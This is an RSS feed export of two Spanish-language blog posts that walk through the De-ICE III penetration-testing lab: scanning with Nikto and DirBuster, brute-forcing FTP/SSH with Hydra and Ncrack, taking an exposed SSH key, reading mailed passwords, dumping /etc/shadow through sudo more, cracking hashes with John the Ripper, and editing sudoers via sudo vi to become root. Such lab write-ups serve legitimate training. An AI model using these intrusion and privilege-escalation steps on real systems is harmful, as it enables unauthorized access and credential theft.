<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Sec-Track &#187; De-ICE</title>
	<atom:link href="http://www.sec-track.com/tag/de-ice/feed" rel="self" type="application/rss+xml" />
	<link>http://www.sec-track.com</link>
	<description></description>
	<lastBuildDate>Wed, 01 Feb 2012 15:08:22 +0000</lastBuildDate>
	<language>es</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Desarrollo del entorno De-Ice III – Acceso al Sistema y Elevación de Privilegios</title>
		<link>http://www.sec-track.com/desarrollo-del-entorno-de-ice-iii-%e2%80%93-acceso-al-sistema-y-elevacion-de-privilegios</link>
		<comments>http://www.sec-track.com/desarrollo-del-entorno-de-ice-iii-%e2%80%93-acceso-al-sistema-y-elevacion-de-privilegios#comments</comments>
		<pubDate>Tue, 01 Jun 2010 11:11:08 +0000</pubDate>
		<dc:creator>4v4t4r</dc:creator>
				<category><![CDATA[Test de Penetración]]></category>
		<category><![CDATA[De-ICE]]></category>
		<category><![CDATA[john the ripper]]></category>
		<category><![CDATA[passwd]]></category>
		<category><![CDATA[Penetration Test]]></category>
		<category><![CDATA[shadow]]></category>

		<guid isPermaLink="false">http://www.sec-track.com/?p=520</guid>
		<description><![CDATA[Continúa desde: Desarrollo del entorno De-Ice III – Pruebas de Autenticación y Escaneo de Vulnerabilidades Veamos ahora que podemos hacer con la información encontrada: Index of /~pirrip//.ssh Name Last modified Size Description Parent Directory - id_rsa 05-Jan-2008 20:29 1.6K id_rsa.pub 05-Jan-2008 20:29 393 Apache/2.0.55 (Unix) PHP/5.1.2 Server at 192.168.2.101 Port 80 Esta información corresponde a [...]]]></description>
			<content:encoded><![CDATA[<p>Continúa desde: <strong><a title="Permanent Link to Desarrollo del entorno De-Ice III – Pruebas de Autenticación y Escaneo de Vulnerabilidades" rel="bookmark" href="../desarrollo-del-entorno-de-ice-iii-%e2%80%93-pruebas-de-autenticacion-y-escaneo-de-vulnerabilidades">Desarrollo del entorno De-Ice III – Pruebas de Autenticación y Escaneo de Vulnerabilidades</a></strong></p>
<p>Veamos ahora que podemos hacer con la información encontrada:</p>
<h1>Index of /~pirrip//.ssh</h1>
<pre><img src="http://192.168.2.101/icons/blank.gif" alt="Icon " /> Name                    Last modified      Size  Description
<hr /><img src="http://192.168.2.101/icons/back.gif" alt="[DIR]" /> Parent Directory                             -
<img src="http://192.168.2.101/icons/unknown.gif" alt="[   ]" /> id_rsa                  05-Jan-2008 20:29  1.6K
<img src="http://192.168.2.101/icons/unknown.gif" alt="[   ]" /> id_rsa.pub              05-Jan-2008 20:29  393
<hr /></pre>
<address>Apache/2.0.55 (Unix) PHP/5.1.2 Server at 192.168.2.101 Port 80</address>
<address> </address>
<p style="text-align: justify;"><span id="more-520"></span>Esta información corresponde a la llave digital de acceso del usuario pirrip, muy posiblemente al realizarse la copia de seguridad previa a la migración del sistema, esta se olvidó en el antiguo server.</p>
<p>Descarguemos los archivos:</p>
<p><strong>root@Sec-Track:~/De-Ice2.100# wget http://192.168.2.101/~pirrip//.ssh/id_rsa.pub</strong><br />
&#8211;2010-06-01 02:11:32&#8211;  http://192.168.2.101/~pirrip//.ssh/id_rsa.pub<br />
Connecting to 192.168.2.101:80&#8230; connected.<br />
HTTP request sent, awaiting response&#8230; 200 OK<br />
Length: 393 [text/plain]<br />
Saving to: `id_rsa.pub&#8217;</p>
<p>100%[===========================================================&gt;] 393         &#8211;.-K/s   in 0s</p>
<p>2010-06-01 02:11:32 (44.7 MB/s) &#8211; `id_rsa.pub&#8217; saved [393/393]</p>
<p><strong>root@Sec-Track:~/De-Ice2.100# wget http://192.168.2.101/~pirrip//.ssh/id_rsa</strong><br />
&#8211;2010-06-01 02:11:46&#8211;  http://192.168.2.101/~pirrip//.ssh/id_rsa<br />
Connecting to 192.168.2.101:80&#8230; connected.<br />
HTTP request sent, awaiting response&#8230; 200 OK<br />
Length: 1675 (1.6K) [text/plain]<br />
Saving to: `id_rsa&#8217;</p>
<p>100%[===========================================================&gt;] 1,675       &#8211;.-K/s   in 0s</p>
<p>2010-06-01 02:11:46 (172 MB/s) &#8211; `id_rsa&#8217; saved [1675/1675]</p>
<p><strong>root@Sec-Track:~/De-Ice2.100# ls</strong><br />
id_rsa  id_rsa.pub</p>
<p>Una vez descargadas las llaves, procedemos a copiarlas al directorio /foo/.ssh</p>
<p><strong>root@Sec-Track:~/De-Ice2.100# cp id* /root/.ssh/</strong></p>
<p><strong>root@Sec-Track:~/.ssh# ls</strong><br />
id_rsa  id_rsa.pub  known_hosts</p>
<p>Confirmamos que la llave corresponde al usuario pirrip</p>
<p><strong>root@Sec-Track:~/.ssh# more id_rsa.pub</strong><br />
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1pfb/CVukUw4Xe67YLEZzVHWNax0zJjI1CfcsoEGylmm<br />
tlA6iXHi41nLshzXu9n536JfM9LFAWGqefBVX7Bzd/fC4+jHS3q89IK9FP7gFPwEmlNHCwPX0ADxDFyB<br />
1lJOFffJ9gVw3VgHCaCPgS70UqJD0hZFDMSDMoBa91PylFQR0m58nMq8DsGRbeC5hTdpLXKfBuW8v/lF<br />
uNEWVWNcZDie82aiJg8WRUUIrzeGZSR3+cG1hi6za67VIi+ce8fFuBvIgaEpvJ0JSIX7zPLUV10ezW1N<br />
QRNplKSam3TIYI3+YwuhlcgpEyliHYReN6v91+um2c6LNy9y/vx2Akci5Q== <strong>pirrip@slax</strong></p>
<p>Por lo tanto realicemos la conexión al sistema objetivo!!</p>
<p><strong>root@Sec-Track:~/.ssh# ssh pirrip@192.168.2.100</strong><br />
The authenticity of host &#8217;192.168.2.100 (192.168.2.100)&#8217; can&#8217;t be established.<br />
RSA key fingerprint is ab:ab:a8:ad:a2:f2:fd:c2:6f:05:99:69:40:54:ec:10.<br />
Are you sure you want to continue connecting (yes/no)? yes<br />
Warning: Permanently added &#8217;192.168.2.100&#8242; (RSA) to the list of known hosts.<br />
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@<br />
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @<br />
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@<br />
Permissions 0644 for &#8216;/root/.ssh/id_rsa&#8217; are too open.<br />
It is recommended that your private key files are NOT accessible by others.<br />
This private key will be ignored.<br />
bad permissions: ignore key: /root/.ssh/id_rsa<br />
pirrip@192.168.2.100&#8242;s password:</p>
<p>Como vemos las llaves presentan un error de permisos&#8230; Por lo tanto cambiemos estos:</p>
<p><strong>root@Sec-Track:~/.ssh# ls -la</strong><br />
total 20<br />
drwx&#8212;&#8212;  2 root root 4096 Jun  1 02:18 .<br />
drwxr-xr-x 77 root root 4096 Jun  1 02:09 ..<br />
<strong>-r&#8211;r&#8211;r&#8211; </strong> 1 root root 1675 Jun  1 02:17 id_rsa<br />
<strong>-r&#8211;r&#8211;r&#8211;</strong> 1 root root  393 Jun  1 02:17 id_rsa.pub<br />
-rw-r&#8211;r&#8211;  1 root root 1768 Jun  1 02:21 known_hosts<br />
<strong>root@Sec-Track:~/.ssh# chmod 000 id*</strong><br />
<strong>root@Sec-Track:~/.ssh# ls -l</strong>a<br />
total 20<br />
drwx&#8212;&#8212;  2 root root 4096 Jun  1 02:18 .<br />
drwxr-xr-x 77 root root 4096 Jun  1 02:09 ..<br />
<strong>&#8212;&#8212;&#8212;-</strong> 1 root root 1675 Jun  1 02:17 id_rsa<br />
<strong>&#8212;&#8212;&#8212;-</strong> 1 root root  393 Jun  1 02:17 id_rsa.pub<br />
-rw-r&#8211;r&#8211;  1 root root 1768 Jun  1 02:21 known_hosts</p>
<p>Ahora si&#8230; Conectémonos al host</p>
<p><strong>root@Sec-Track:~/.ssh# ssh pirrip@192.168.2.100</strong><br />
Linux 2.6.16.<br />
pirrip@slax:~$</p>
<p style="text-align: justify;">Muy bien&#8230; Ya estamos dentro del sistema objetivo&#8230; Ahora como en  todos los Test de Penetración que hemos realizado, tratemos de escalar privilegios.</p>
<p><strong>pirrip@slax:~$ cat /etc/passwd</strong><br />
<strong>root</strong> <img src='http://www.sec-track.com/wp-includes/images/smilies/icon_mad.gif' alt=':x' class='wp-smiley' /> :0:0::/root:/bin/bash<br />
bin:x:1:1:bin:/bin:<br />
daemon:x:2:2:daemon:/sbin:<br />
adm:x:3:4:adm:/var/log:<br />
lp:x:4:7:lp:/var/spool/lpd:<br />
sync:x:5:0:sync:/sbin:/bin/sync<br />
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown<br />
halt:x:7:0:halt:/sbin:/sbin/halt<br />
mail:x:8:12:mail:/:<br />
news:x:9:13:news:/usr/lib/news:<br />
uucp:x:10:14:uucp:/var/spool/uucppublic:<br />
operator:x:11:0:operator:/root:/bin/bash<br />
games:x:12:100:games:/usr/games:<br />
ftp:x:14:50::/home/ftp:<br />
smmsp:x:25:25:smmsp:/var/spool/clientmqueue:<br />
mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash<br />
rpc:x:32:32:RPC portmap user:/:/bin/false<br />
sshd:x:33:33:sshd:/:<br />
gdm:x:42:42:GDM:/var/state/gdm:/bin/bash<br />
pop:x:90:90:POP:/:<br />
nobody:x:99:99:nobody:/:<br />
<strong>pirrip</strong> <img src='http://www.sec-track.com/wp-includes/images/smilies/icon_mad.gif' alt=':x' class='wp-smiley' /> :1000:<strong>10</strong> <img src='http://www.sec-track.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> hilip Pirrip:/home/pirrip:/bin/bash<br />
<strong>magwitch</strong> <img src='http://www.sec-track.com/wp-includes/images/smilies/icon_mad.gif' alt=':x' class='wp-smiley' /> :1001:100:Abel Magwitch:/home/magwitch:/bin/bash<br />
<strong>havisham</strong> <img src='http://www.sec-track.com/wp-includes/images/smilies/icon_mad.gif' alt=':x' class='wp-smiley' /> :1002:100:Estella Havisham:/home/havisham:/bin/bash</p>
<p style="text-align: justify;">Vemos como nuestro usuario pirrip tiene el ID 10&#8230; Comprobemos entonces los grupos.</p>
<p style="text-align: justify;"><strong>pirrip@slax:/tmp$ cat /etc/group</strong><br />
root::0:root<br />
bin::1:root,bin,daemon<br />
daemon::2:root,bin,daemon<br />
sys::3:root,bin,adm<br />
adm::4:root,adm,daemon<br />
tty::5:<br />
disk::6:root,adm<br />
lp::7:lp<br />
mem::8:<br />
kmem::9:<br />
<strong>wheel::10:root</strong><br />
floppy::11:root<br />
mail::12:mail<br />
news::13:news<br />
uucp::14:uucp<br />
man::15:<br />
audio::17:<br />
video::18:<br />
cdrom::19:<br />
games::20:<br />
slocate::21:<br />
utmp::22:<br />
smmsp::25:smmsp<br />
mysql::27:<br />
rpc::32:<br />
sshd::33:sshd<br />
gdm::42:<br />
shadow::43:<br />
ftp::50:<br />
pop::90:pop<br />
scanner::93:<br />
nobody::98:nobody<br />
nogroup::99:<br />
users::100:<br />
console::101:</p>
<p style="text-align: justify;">Por lo tanto podremos utilizar el comando <strong>sudo</strong></p>
<p style="text-align: justify;"><strong>pirrip@slax:/tmp$ cat /etc/shadow</strong><br />
cat: /etc/shadow: Permission denied</p>
<p style="text-align: justify;"><strong>pirrip@slax:/tmp$ sudo cat /etc/shadow</strong></p>
<p>We trust you have received the usual lecture from the local System<br />
Administrator. It usually boils down to these three things:</p>
<p>#1) Respect the privacy of others.<br />
#2) Think before you type.<br />
#3) With great power comes great responsibility.</p>
<p>Password:</p>
<p style="text-align: justify;">Lamentablemente desconocemos nuestro password.</p>
<p style="text-align: justify;">Ahora observaremos en detalle la versión del sistema objetivo y trataremos identificar alguna vulnerabilidad reportada, ubicar algún exploit y ejecutarlo desde la carpeta /tmp</p>
<p><strong>pirrip@slax:~$ uname -r</strong><br />
2.6.16<br />
<strong>pirrip@slax:~$ cd /tmp/</strong><br />
You have mail in /var/mail/pirrip</p>
<p>Para nuestra sorpresa, cuando decidí cambiarme a la carpeta /tmp recibí el mensaje de que tengo un email &#8230; Veamos de que se trata</p>
<p><strong>pirrip@slax:/tmp$ mail</strong><br />
mailx version nail 11.25 7/29/05.  Type ? for help.<br />
&#8220;/var/mail/pirrip&#8221;: 7 messages 7 unread<br />
&gt;U  1 Abel Magwitch      Sun Jan 13 23:53   21/758   Estella<br />
U  2 Estella Havisham   Sun Jan 13 23:53   21/790   welcome to the team<br />
U  3 Abel Magwitch      Sun Jan 13 23:53   21/885   havisham<br />
U  4 Estella Havisham   Mon Jan 14 00:05   21/871   next month<br />
U  5 Abel Magwitch      Mon Jan 14 00:05   21/878   vacation<br />
U  6 Abel Magwitch      Mon Jan 14 00:05   21/925   vacation<br />
U  7 noreply@fermion.he Mon Jan 14 00:05   30/993   Fermion Account Login Reminder<br />
? 1<br />
<strong>Message  1:</strong><br />
From magwitch@slax.example.net  Sun Jan 13 23:53:37 2008<br />
Return-Path: &lt;magwitch@slax.example.net&gt;<br />
From: Abel Magwitch &lt;magwitch@slax.example.net&gt;<br />
Date: Sun, 13 Jan 2008 23:47:48 +0000<br />
To: pirrip@slax.example.net<br />
Subject: Estella<br />
User-Agent: nail 11.25 7/29/05<br />
Content-Type: text/plain; charset=us-ascii<br />
Status: RO</p>
<p>Will do.</p>
<p>?<br />
<strong>Message  2:</strong><br />
From havisham@slax.example.net  Sun Jan 13 23:53:37 2008<br />
Return-Path: &lt;havisham@slax.example.net&gt;<br />
From: Estella Havisham &lt;havisham@slax.example.net&gt;<br />
Date: Sun, 13 Jan 2008 23:50:33 +0000<br />
To: pirrip@slax.example.net<br />
Subject: welcome to the team<br />
User-Agent: nail 11.25 7/29/05<br />
Content-Type: text/plain; charset=us-ascii<br />
Status: RO</p>
<p>Thanks!  Glad to be here.</p>
<p>?<br />
<strong>Message  3:</strong><br />
From magwitch@slax.example.net  Sun Jan 13 23:53:37 2008<br />
Return-Path: &lt;magwitch@slax.example.net&gt;<br />
From: Abel Magwitch &lt;magwitch@slax.example.net&gt;<br />
Date: Sun, 13 Jan 2008 23:48:57 +0000<br />
To: pirrip@slax.example.net<br />
Subject: havisham<br />
User-Agent: nail 11.25 7/29/05<br />
Content-Type: text/plain; charset=us-ascii<br />
Status: RO</p>
<p>I set her up with an accountus servers.  I set her password to &#8220;<strong>changeme</strong>&#8221; and will swing by tomorrow and make sure she changes her pw.</p>
<p>?<br />
<strong>Message  4:</strong><br />
From havisham@slax.example.net  Mon Jan 14 00:05:15 2008<br />
Return-Path: &lt;havisham@slax.example.net&gt;<br />
From: Estella Havisham &lt;havisham@slax.example.net&gt;<br />
Date: Mon, 14 Jan 2008 00:03:56 +0000<br />
To: pirrip@slax.example.net<br />
Subject: next month<br />
User-Agent: nail 11.25 7/29/05<br />
Content-Type: text/plain; charset=us-ascii<br />
Status: RO</p>
<p>Abel filled me in about next month.  I wanted to ask you if I can grab the week you get back for vacation?  Thanks.</p>
<p>?<br />
<strong>Message  5:</strong><br />
From magwitch@slax.example.net  Mon Jan 14 00:05:15 2008<br />
Return-Path: &lt;magwitch@slax.example.net&gt;<br />
From: Abel Magwitch &lt;magwitch@slax.example.net&gt;<br />
Date: Sun, 13 Jan 2008 23:55:41 +0000<br />
To: pirrip@slax.example.net<br />
Subject: vacation<br />
User-Agent: nail 11.25 7/29/05<br />
Content-Type: text/plain; charset=us-ascii<br />
Status: RO</p>
<p>Hey, I&#8217;ll be taking vacation the second week of next month.  Have any additional tasks that need to be taen care of in advance?</p>
<p>?<br />
<strong>Message  6:</strong><br />
From magwitch@slax.example.net  Mon Jan 14 00:05:15 2008<br />
Return-Path: &lt;magwitch@slax.example.net&gt;<br />
From: Abel Magwitch &lt;magwitch@slax.example.net&gt;<br />
Date: Sun, 13 Jan 2008 23:58:28 +0000<br />
To: pirrip@slax.example.net<br />
Subject: vacation<br />
User-Agent: nail 11.25 7/29/05<br />
Content-Type: text/plain; charset=us-ascii<br />
Status: RO</p>
<p>Sure &#8211; so far, she&#8217;s doing just fine.  I have assigned her a couple web issues and the ftp installation for 2.100.  She seems to be very comfortable, even with the new stuff.</p>
<p>?<br />
<strong>Message  7:</strong><br />
From noreply@fermion.herot.net  Mon Jan 14 00:05:15 2008<br />
Return-Path: &lt;noreply@fermion.herot.net&gt;<br />
From: noreply@fermion.herot.net<br />
Date: Sun, 13 Jan 2008 23:54:42 +0000<br />
To: pirrip@slax.example.net<br />
Subject: Fermion Account Login Reminder<br />
User-Agent: nail 11.25 7/29/05<br />
Content-Type: text/plain; charset=us-ascii<br />
Status: RO</p>
<p>Fermion Account Login Reminder</p>
<p>Listed below are your Fermion Account login credentials.  Please let us know if you have any questions or problems.</p>
<p>Regards,<br />
Fermion Support<br />
<strong><br />
</strong>E-Mail: pirrip@slax.example.net<strong><br />
Password: 0l1v3rTw1st</strong></p>
<p>Vemos que interesante información nos encontramos en el email 7 y 3 &#8230; Nuestro password y el de havisham!!</p>
<p>Intentemos nuevamente listar el contenido de passwd</p>
<p><strong>pirrip@slax:/tmp$ sudo cat /etc/shadow</strong></p>
<p>We trust you have received the usual lecture from the local System<br />
Administrator. It usually boils down to these three things:</p>
<p>#1) Respect the privacy of others.<br />
#2) Think before you type.<br />
#3) With great power comes great responsibility.</p>
<p>Password:</p>
<p>Sorry, user pirrip is not allowed to execute &#8216;/usr/bin/cat /etc/shadow&#8217; as root on slax.</p>
<p style="text-align: justify;">Parece que no tenemos disponible el comando cat.. Comprobemos entonces que comandos interesantes y de utilidad tenemos&#8230;</p>
<p><strong>pirrip@slax:/tmp$ sudo bash</strong><br />
Sorry, user pirrip is not allowed to execute &#8216;/usr/bin/bash&#8217; as root on slax.<br />
<strong>pirrip@slax:/tmp$ sudo sh</strong><br />
Sorry, user pirrip is not allowed to execute &#8216;/bin/sh&#8217; as root on slax.<br />
<strong>pirrip@slax:/tmp$ sudo ls</strong><br />
Sorry, user pirrip is not allowed to execute &#8216;/usr/bin/ls&#8217; as root on slax.<br />
<strong>pirrip@slax:/tmp$ sudo nano</strong><br />
sudo: nano: command not found<br />
<strong>pirrip@slax:/tmp$ sudo more</strong><br />
usage: more [-dflpcsu] [+linenum | +/pattern] name1 name2 &#8230;<br />
<strong>pirrip@slax:/tmp$ sudo vi</strong></p>
<p style="text-align: justify;">Perfecto, a pesar de no tener disponibles la mayoría de comandos, si tenemos disponibles 2 muy importantes!!! <strong>more</strong> y <strong>vi</strong> . Veamos que podemos hacer con estos.</p>
<p style="text-align: justify;"><strong>pirrip@slax:/tmp$ sudo more /etc/shadow</strong><br />
Password:<br />
<strong>root:$1$/Ta1Q0lT$CSY9sjWR33Re2h5ohV4MX/:13882:0:::::</strong><br />
bin:*:9797:0:::::<br />
daemon:*:9797:0:::::<br />
adm:*:9797:0:::::<br />
lp:*:9797:0:::::<br />
sync:*:9797:0:::::<br />
shutdown:*:9797:0:::::<br />
halt:*:9797:0:::::<br />
mail:*:9797:0:::::<br />
news:*:9797:0:::::<br />
uucp:*:9797:0:::::<br />
operator:*:9797:0:::::<br />
games:*:9797:0:::::<br />
ftp:*:9797:0:::::<br />
smmsp:*:9797:0:::::<br />
mysql:*:9797:0:::::<br />
rpc:*:9797:0:::::<br />
sshd:*:9797:0:::::<br />
gdm:*:9797:0:::::<br />
pop:*:9797:0:::::<br />
nobody:*:9797:0:::::<br />
<strong>pirrip:$1$KEj04HbT$ZTn.iEtQHcLQc6MjrG/Ig/:13882:0:99999:7:::<br />
magwitch:$1$qG7/dIbT$HtTD946DE3ITkbrCINQvJ0:13882:0:99999:7:::<br />
havisham:$1$qbY1hmdT$sVZn89wKvmLn0wP2JnZay1:13882:0:99999:7:::</strong></p>
<p style="text-align: justify;">Genial&#8230; Llevemos estos resultados a la herramienta de password cracking John The Ripper.</p>
<p style="text-align: left;"><strong>root@Sec-Track:/pentest/passwords/jtr# ./john &#8211;user=root &#8211;w=/root/passwords/verycool.lst 100.txt</strong><br />
Loaded 1 password hash (FreeBSD MD5 [32/32])<br />
guesses: 0  time: 0:00:08:49 100.00% (ETA: Tue Jun  1 04:48:21 2010)  c/s: 4526  trying: aceguero</p>
<p style="text-align: left;">Lamentablemente no hemos dado con el password de root&#8230; Posiblemente sea un password complejo que no se encuentra incluido en nuestro diccionario.</p>
<p style="text-align: left;">Poniendo a prueba nuestra creatividad, veamos lo que podemos hacer con el comando vi sobre sudo.</p>
<p style="text-align: left;"><strong>pirrip@slax:/tmp$ sudo vi /etc/sudoers</strong><br />
Password:<br />
reading /etc/sudoers</p>
<p style="text-align: left;">Allí modifico los permisos para nuestro usuario pirrip</p>
<p style="text-align: left;"><strong># User privilege specification<br />
root    ALL=(ALL) ALL<br />
pirrip  ALL=(ALL) ALL</strong></p>
<p style="text-align: left;">Ahora tenemos todos los permisos de sudo para ejecutar cualquier comando&#8230; Incluyendo el siguiente!!</p>
<p style="text-align: left;"><strong>pirrip@slax:/tmp$ sudo passwd root</strong><br />
Changing password for root<br />
Enter the new password (minimum of 5, maximum of 127 characters)<br />
Please use a combination of upper and lower case letters and numbers.<br />
New password: ***********<br />
Re-enter new password: ***********<br />
Password changed.</p>
<p style="text-align: left;">Ahora solo basta:</p>
<p style="text-align: left;"><strong>pirrip@slax:/tmp$ su</strong><br />
Password: ***********<br />
<strong>root@slax:/tmp# </strong></p>
<p style="text-align: left;">Para el próximo post veremos algunos otros métodos para comprometer este sistema&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sec-track.com/desarrollo-del-entorno-de-ice-iii-%e2%80%93-acceso-al-sistema-y-elevacion-de-privilegios/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Desarrollo del entorno De-Ice III – Pruebas de Autenticación y Escaneo de Vulnerabilidades</title>
		<link>http://www.sec-track.com/desarrollo-del-entorno-de-ice-iii-%e2%80%93-pruebas-de-autenticacion-y-escaneo-de-vulnerabilidades</link>
		<comments>http://www.sec-track.com/desarrollo-del-entorno-de-ice-iii-%e2%80%93-pruebas-de-autenticacion-y-escaneo-de-vulnerabilidades#comments</comments>
		<pubDate>Wed, 07 Apr 2010 03:06:12 +0000</pubDate>
		<dc:creator>4v4t4r</dc:creator>
				<category><![CDATA[Test de Penetración]]></category>
		<category><![CDATA[De-ICE]]></category>
		<category><![CDATA[Hydra]]></category>
		<category><![CDATA[JBroFuzz]]></category>
		<category><![CDATA[Ncrack]]></category>
		<category><![CDATA[Penetration Test]]></category>
		<category><![CDATA[Vulnerability Scanning]]></category>

		<guid isPermaLink="false">http://www.sec-track.com/?p=505</guid>
		<description><![CDATA[Continúa desde: Desarrollo del entorno De-Ice III – Enumeración de usuarios Una vez hemos identificado los usarios válidos en el sistema, pasemos a realizar algunas pruebas de autenticación  a través de los servicios ofrecidos por el host. Veamos: FTP Hydra: root@bt:~# hydra 192.168.2.100 ftp -s 21 -L usuarios.txt -P /pentest/passwords/wordlists/dicc.lst -t 36 SSH Hydra: root@bt:~# [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Continúa desde: <strong><a title="Permanent Link to Desarrollo del entorno De-Ice III – Enumeración de usuarios" rel="bookmark" href="../desarrollo-del-entorno-de-ice-iii-%e2%80%93-enumeracion-de-usuarios">Desarrollo del entorno De-Ice III – Enumeración de usuarios</a></strong></p>
<p style="text-align: justify;">Una vez hemos identificado los usarios válidos en el sistema, pasemos a realizar algunas pruebas de autenticación  a través de los servicios ofrecidos por el host. Veamos:</p>
<p style="text-align: justify;"><strong>FTP</strong></p>
<p style="text-align: justify;"><strong><a href="http://www.thc.org/thc-hydra/" target="_blank">Hydra</a>:</strong></p>
<p style="text-align: justify;">root@bt:~# hydra 192.168.2.100 ftp -s 21 -L usuarios.txt -P /pentest/passwords/wordlists/dicc.lst -t 36</p>
<p style="text-align: justify;"><strong>SSH</strong></p>
<p style="text-align: justify;"><strong><a href="http://www.thc.org/thc-hydra/" target="_blank">Hydra</a>:<br />
</strong></p>
<p style="text-align: justify;">root@bt:~# hydra 192.168.2.100 ftp -s 21 -L usuarios.txt -P /pentest/passwords/wordlists/dicc.lst -t 36</p>
<p style="text-align: justify;"><strong><a href="http://nmap.org/ncrack/" target="_blank">Ncrack</a>:</strong></p>
<p style="text-align: justify;">root@bt:/usr/local/share/ncrack# ncrack 192.168.1.100:22 -P /pentest/passwords/wordlists/pass.txt</p>
<p style="text-align: justify;">Después de mucho esperar mientras se llevaba a cabo los intentos de inicio de sesión con un usuario y password válido llegamos a la conclusión de que este no es un camino viable para acceder al sistema, pues las pruebas fueron realizadas con diccionarios en un comienzo básicos y compuestos por palabras comunes hasta diccionarios bastante robustos de millones de palabras, por lo tanto podemos afirmar que las contraseñas son complejas o los mecanismos de autenticación están medianamente asegurados.</p>
<p style="text-align: justify;">Hagamos uso de varios identificadores de vulnerabilidades, configuraciones por defecto o archivos y directorios sensibles. Para ello primero usemos <a href="http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project" target="_blank"><strong>OWASP Dirbuster</strong></a> para identificar directorios y archivos.</p>
<p style="text-align: justify;"><strong>Host 192.168.2.100</strong></p>
<p style="text-align: justify;"><strong>root@bt:/pentest/web/dirbuster# java -jar DirBuster-0.12.jar -H -u http://192.168.2.100/ -r</strong><br />
DirBuster: option requires an argument &#8212; r<br />
Starting OWASP DirBuster 0.12 in headless mode<br />
Starting dir/file list based brute forcing<br />
Dir found: / &#8211; 200<br />
Dir found: /cgi-bin/ &#8211; 403<br />
Dir found: /icons/ &#8211; 200<br />
File found: /level.html &#8211; 200<br />
File found: /copyright.txt &#8211; 200<br />
File found: /index2.html &#8211; 200</p>
<p style="text-align: justify;"><strong>Host 192.168.2.101</strong></p>
<p style="text-align: justify;"><strong>root@bt:/pentest/web/dirbuster# java -jar DirBuster-0.12.jar -H -u http://192.168.2.101/ -r</strong><br />
DirBuster: option requires an argument &#8212; r<br />
Starting OWASP DirBuster 0.12 in headless mode<br />
Starting dir/file list based brute forcing<br />
Dir found: / &#8211; 200<br />
Dir found: /cgi-bin/ &#8211; 403<br />
Dir found: /home/ &#8211; 403<br />
Dir found: /icons/ &#8211; 200<br />
File found: /200711_002.pdf &#8211; 200<br />
File found: /200611_001.pdf &#8211; 200<br />
File found: /200711_004.pdf &#8211; 200<br />
File found: /Acceptable_Use_Policy.pdf &#8211; 200<br />
File found: /Audit_Policy.pdf &#8211; 200<br />
File found: /Email_Policy.pdf &#8211; 200</p>
<p style="text-align: justify;"><strong>Ahora con Nikto en modo default<br />
</strong></p>
<p style="text-align: justify;"><strong>Host 192.168.2.100</strong></p>
<p style="text-align: justify;"><strong>root@bt:/pentest/web/nikto# perl nikto.pl -h 192.168.2.100</strong><br />
- Nikto v2.1.0<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
+ Target IP:          192.168.2.100<br />
+ Target Hostname:    slax.example.net<br />
+ Target Port:        80<br />
+ Start Time:         2010-03-13 17:14:41<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
+ Server: Apache/2.0.55 (Unix) PHP/5.1.2<br />
+ OSVDB-0: Apache/2.0.55 appears to be outdated (current is at least Apache/2.2.14). Apache 1.3.41 and 2.0.63 are also current.<br />
+ OSVDB-0: PHP/5.1.2 appears to be outdated (current is at least 5.2.8)<br />
+ OSVDB-0: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE<br />
+ OSVDB-0: DEBUG HTTP verb may show server debugging information<br />
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST<br />
+ OSVDB-12184: /index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests which contain specific QUERY strings.<br />
+ OSVDB-3268: /icons/: Directory indexing is enabled: /icons<br />
+ OSVDB-3233: /icons/README: Apache default file found.<br />
+ 3588 items checked: 8 item(s) reported on remote host<br />
+ End Time:           2010-03-13 17:15:08 (27 seconds)<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
+ 1 host(s) tested</p>
<p style="text-align: justify;"><strong>Host 192.168.2.101</strong></p>
<p style="text-align: justify;"><strong>root@bt:/pentest/web/nikto# perl nikto.pl -h 192.168.2.101</strong><br />
- Nikto v2.1.0<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
+ Target IP:          192.168.2.101<br />
+ Target Hostname:    192.168.2.101<br />
+ Target Port:        80<br />
+ Start Time:         2010-03-13 17:16:25<br />
